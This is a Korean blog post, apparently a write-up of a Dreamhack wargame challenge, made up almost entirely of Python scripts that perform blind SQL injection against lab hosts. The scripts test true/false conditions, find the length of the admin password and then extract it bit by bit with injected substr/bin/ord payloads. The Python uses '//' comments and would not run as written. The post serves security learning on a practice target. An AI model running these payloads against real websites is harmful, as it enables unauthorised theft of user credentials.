728x90
from requests import get
//참과 거짓 확인
url = "http://host2.dreamhack.games:15970" // url 주소 지정
query = f"admin' and 1 = 1-- " //참 쿼리 --(뛰어쓰기 필수)
req = get(f"{url}/?uid={query}")
print(req.status_code)
if "exists" in req.text:
print("True")
else:
print("False")
from requests import get
url = 'http://host3.dreamhack.games:11716/' //url 지정
password_len = 0
while True:
password_len += 1
query = f"admin' and char_length(upw) = {password_len}-- -" //char_length 함수 사용
req = get(f"{url}/?uid={query}") //get으로 요청
if "exists" in req.text: //exists 문자열이 존재하는지 확인
break
print(f"password length : {password_len}")
** char_length 함수는 문자열 인코딩에 따른 정확한 길이를 계산하기 위해서 사용
Bit 연산을 사용한 blind Injection payload
from requests import get
host = "http://host2.dreamhack.games:21636/" // url 주소 지정
password_length = 0
// password 길이 찾기
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length} -- "
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
// 비트열 길이 찾기
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length} -- "
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
// 비트열 추출
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1' -- "
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
// 비트열 문자로 변환
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
int.to_bytes 함수는 정수를 Big Endian 형태로 변환
bytes.decode 함수는 문자를 인코딩에 맞게 변환
'모의해킹 > Dreamhack' 카테고리의 다른 글
web-deserialize-python [WEB LEVEL1] (0) | 2023.04.17 |
---|---|
error based sql injection [WEB LEVEL1] (0) | 2023.04.17 |
XSS Filtering Bypass [WEB LEVEL1] (0) | 2023.04.13 |
session [WEB LEVEL1] (0) | 2023.04.12 |
web-misconf-1 [WEB LEVEL1] (0) | 2023.04.12 |